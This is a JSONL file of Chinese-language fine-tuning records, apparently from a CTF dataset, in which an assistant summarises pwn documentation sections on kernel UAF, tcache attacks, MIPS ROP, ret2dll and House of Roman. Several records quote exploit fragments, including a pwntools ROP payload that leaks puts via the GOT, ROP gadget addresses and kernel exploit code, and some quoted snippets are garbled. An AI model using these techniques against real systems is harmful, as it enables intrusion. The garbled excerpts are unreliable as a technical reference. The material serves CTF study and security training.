{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-29209b6ac5ffa35288b4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- 由于题目所在的 kmem_cache 为一个独立的 kmem_cache ，因此我们只能考虑 cross-cache overflow：溢出到其他结构体所在页面上完成利用。\n- > 毕竟我们很难指望在 freelist 相关保护都开启的情况下 free object 的 next 指针刚好在前 8 字节然后覆写又刚好能把 freelist 劫持到有效可控地址上。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用"], "original_id": "docs-525e5e98dd8fcd29b698", "original_line": 744, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "57f6a3d7631ddcf7659dbc20", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-293bfbf3d61dc6fcf801", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_get()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > tcache_get()\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 看一下 tcache_get() source code ``C / Caller must ensure that we know tc_idx is valid and there's available chunks to remove. / static __always_inline void tcache_get (size_t tc_idx) { tcache_entry e = tcache->entries[tc_idx];\n- 可以看出这个过程还是很简单的，从 tcache->entries[tc_idx] 中获得第一个 chunk，tcache->counts` 减一，几乎没有任何保护。\n- // 获得一个 chunk，counts 减一 return (void *) e;\n- assert (tc_idx < TCACHE_MAX_BINS);\n- assert (tcache->entries[tc_idx] > 0);\n- (tcache->counts[tc_idx]);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 12 行，首行 `/* Caller must ensure that we know tc_idx is valid and there's`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 615, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "tcache_get()", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "tcache_get()"], "original_id": "docs-1ae2cceb03b551592c1c", "original_line": 1186, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "2e720482e9bdfc712394c4a2", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-29c9ed51e309b83fc27a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache dup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache dup\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“tcache dup”展开。\n- — push r15 RIP 0x555555554808 (main+174) ?\n- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x555555756260 ?\n- 20 } ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —?\n- 0x7ffff7a3fa87 (__libc_start_main+231) ?\n- — 0x1a00000000 R10 0x911 R11 0x7ffff7aa0ba0 (free) ?\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 2 行，首行 `tcache 的第一条链放入了一个 chunk`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3275, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache dup", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache dup"], "original_id": "docs-16be5c9170888f0ebc5c", "original_line": 1047, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "70c6bb65936b94f6c2b2cf6b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2ab20b3c694ddf2938ea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache UAF attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > tcache UAF attack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tcache UAF attack”展开。\n- 接下来，由于 B 块已经是 free 状态，但是又有指针指向，所以我们只需要再次分配，使得有两个指针指向 B 块，之后在 tcache 空间足够时，利用 tcache 进行 double free ，进而通过 UAF 攻击 free hook 即可。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 14 行，首行 `# step 4: constrecvuntilct UAF, write into __free_hook`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 521, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "tcache UAF attack", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x05 The pwn of CTF", "Challenge 1 : LCTF2018 PWN easy_heap", "利用步骤", "tcache UAF attack"], "original_id": "docs-01e8ec1b5beb28b573ac", "original_line": 1058, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "720fd580cc9a94e5e282baba", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2ae1c817454d6f051f13", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「context.log_level = 'debug'」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：context.log_level = 'debug'\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“context.log_level = 'debug'”展开。\n- libc_base = 0x7f61f000 set_a0_addr = 0xE2660 #.text:000E2660 move $t9, $s2 #.text:000E2664 jalr $t9 ;\n- sigprocmask #.text:000E2668 li $a0, 1 set_s2_addr = 0xB2EE8 #.text:000B2EE8 lw $ra, 52($sp) #.text:000B2EF0 lw $s6, 48($sp) #.text:000B2EF4 lw $s5, 44($sp) #.text:000B2EF8 lw $s4, 40($sp) #.text:000B2EFC lw $s3, 36($sp) #.text:000B2F00 lw $s2, 32($sp) #.tex...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 462, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "context.log_level = 'debug'", "heading_path": ["context.log_level = 'debug'"], "original_id": "docs-39d705b89c18b3fb45d8", "original_line": 1244, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "d3cbd19ec4591f44a4e39043", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2aee1be6854123ea915b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/System.map.md` 中的章节「在ida中为stripped的vmlinux添加System.map」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/System.map.md`\n标题：System.map\n章节：System.map > 在ida中为stripped的vmlinux添加System.map\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“在ida中为stripped的vmlinux添加System.map”展开。\n- 文件: figure/System.map-load-diff.png]\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:python\n\n代码/命令片段线索：\n- python: 19 行，首行 `def load_system_map(file_path):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 730, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "在ida中为stripped的vmlinux添加System.map", "heading_path": ["System.map", "在ida中为stripped的vmlinux添加System.map"], "original_id": "docs-6477dfabebb41a4af433", "original_line": 691, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/System.map.md", "source_root": "docs", "source_sha256": "1f94d1151fa9ede6b21f36731272a57ea2150ec14bb4eac91985f3bc034dd15c", "split": "train", "split_group_key": "5d526419c7ad0abb6628d7e4", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment", "code:python"], "title": "System.map"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/System.map.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2b4479fbc7487608c7b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/user-mode/stackoverflow/ret2dll.md` 中的章节「搭建临时环境」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/user-mode/stackoverflow/ret2dll.md`\n标题：ret2dll利用\n章节：ret2dll利用 > 搭建临时环境\n路径分类：pwn / pwn/windows/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“搭建临时环境”展开。\n- 使用ncat ncat -l 8080 --keep-open --exec \".\\ret2dll.exe\"\n- 使用win_server win_server ./ret2dll.exe 8080\n- context.log_level='debug' context.arch='amd64' p=remote(\"192.168.0.190\",8080)#这里替换为windows的ip main_addr=0x14000155B#手动输入地址 ret_addr=0x1400015D7 puts_plt=0x140002868 puts_got=0x14000829C rdi_addr=0x140002447 rcx_addr=0x140002750 #bp 0x140001554\n- payload = b'a' * (0x10 +8) payload += p64(rcx_addr) payload += p64(puts_got) payload += p64(puts_plt)\n- payload += p64(main_addr) p.recvuntil(\"start\") p.sendline(payload) puts_leak=u64(p.recvuntil(b\"\\x7f\")[-6:].ljust(8, b'\\x00'))\n\n关键术语：\n- 边界/溢出\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- windows\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 744, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "搭建临时环境", "heading_path": ["ret2dll利用", "搭建临时环境"], "original_id": "docs-d7b1507d746a4a8f9ccd", "original_line": 1465, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/ret2dll.md", "source_root": "docs", "source_sha256": "92eea7177476e88556e9dd5a53dd6ee625398242d0468c8d90695e0074655a5e", "split": "train", "split_group_key": "0a73d69479cc7fbf3d8ee6ed", "subcategory": "pwn/windows/user-mode", "terms": ["边界/溢出", "栈", "AI安全", "漏洞利用", "pwn", "windows", "user-mode", "stackoverflow"], "title": "ret2dll利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/ret2dll.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2cce3b3b08a2b33aebac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「SSDT 基本结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 系统调用 > 二、系统服务描述符表 > SSDT 基本结构\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SSDT 基本结构”展开。\n- 存储栈上参数数量，NT kernel 很多系统调用参数都远大于 6 个，因此需要使用栈进行传参，此时这 4 bit 便用于记录不同系统调用使用栈进行传递的参数数量。\n- ` SYSTEM_SERVICE_TABLE 结构体定义如下，其中的 ServiceTable 成员为实质上的系统调用表： `c typedef struct tag_SYSTEM_SERVICE_TABLE { PULONG ServiceTable;\n- // KeServiceDescriptorTable 只有这张表 SYSTEM_SERVICE_TABLE win32k;\n- // KeServiceDescriptorTableShadow 额外多用一个这张表 SYSTEM_SERVICE_TABLE sst3;\n- SYSTEM_SERVICE_TABLE sst4;\n\n关键术语：\n- 栈\n- 漏洞利用\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `typedef struct tag_SERVICE_DESCRIPTOR_TABLE {`\n- c: 6 行，首行 `typedef struct tag_SYSTEM_SERVICE_TABLE {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1569, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "SSDT 基本结构", "heading_path": ["基础知识", "系统调用", "二、系统服务描述符表", "SSDT 基本结构"], "original_id": "docs-51e7335dcbfde14771e2", "original_line": 1460, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "17074b1d8d66b1e2fc2ab3a7", "subcategory": "pwn/windows/kernel-mode", "terms": ["栈", "漏洞利用", "pwn", "windows", "kernel-mode", "basic-knowledge", "code:c"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2cd629a45cfe92082c20", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「第一步」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`\n标题：House of Roman\n章节：House of Roman > 原理以及展示 > 第一步\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“第一步”展开。\n- 紧接着我们利用 partial overwrite 将 FD 指向伪造的chunk（当然，这里我们也可以用 UAF 完成）。\n- 首先伪造一个 chunk ，chunk的大小为0x61。\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n\n代码/命令片段线索：\n- bash: 6 行，首行 `pwndbg>`\n- plain: 8 行，首行 `0x555555757020 PREV_INUSE {`\n- plain: 9 行，首行 `pwndbg> x/40ag 0x555555757020`\n- plain: 21 行，首行 `pwndbg> x/40ag 0x555555757000`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2158, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "第一步", "heading_path": ["House of Roman", "原理以及展示", "第一步"], "original_id": "docs-12c80e4087414f38ea09", "original_line": 999, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "source_root": "docs", "source_sha256": "60908879ccf90e7dd3165efe2aebdb2dfd8e6fcda3dc64a7a3620104a116aded", "split": "train", "split_group_key": "5f2db730cb3ca80189932314", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:bash"], "title": "House of Roman"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2cd6a203ab3fd42ef9ce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「新版本内核对抗利用 pt\\_regs 进行攻击的办法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > 新版本内核对抗利用 pt\\_regs 进行攻击的办法\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“新版本内核对抗利用 pt\\_regs 进行攻击的办法”展开。\n- `` 当然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成利用，不过稳定性也大幅下降了。\n- nr = syscall_enter_from_user_mode(regs, nr);\n- instrumentation_begin();\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:diff\n\n代码/命令片段线索：\n- diff: 11 行，首行 `diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 692, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "新版本内核对抗利用 pt\\_regs 进行攻击的办法", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "新版本内核对抗利用 pt\\_regs 进行攻击的办法"], "original_id": "docs-b0521c2c55254df39223", "original_line": 810, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "1fe3e5e166ded0088b9f7c4e", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:diff"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2d56c9987cde6e3e4c17", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`\n标题：Cross-Cache UAF\n章节：Cross-Cache UAF > 例题： kbook > 漏洞利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- if(getuid()) { puts(\"\\033[31m\\033[1m[x] Failed to get the root!\n- i++) { if (pipe(pipe_fd[i]) < 0) { printf(\"[x] FAILED to create %d pipe!\n- i++) { if (fcntl(pipe_fd[i][0], F_SETPIPE_SZ, 0x1000 4) < 0) { perror(\"failed to reset pipe_size\");\n- if (bookshelf[i] < 0) { perror(\"failed to open /dev/kbook\");\n- } if (choose_book(bookshelf[i], i) < 0) { err_exit(\"FAILED at binding the book with fd!\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5183, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["Cross-Cache UAF", "例题： kbook", "漏洞利用"], "original_id": "docs-32a4944cc67e2267bee9", "original_line": 740, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "source_root": "docs", "source_sha256": "687aa9899839a03ab9ddad6785475897c71ad6e3bd6110e36b945c28303aa971", "split": "train", "split_group_key": "dbf1cd5216a374906d25a3a3", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "split": "train", "type": "ctf_lora_sft"}
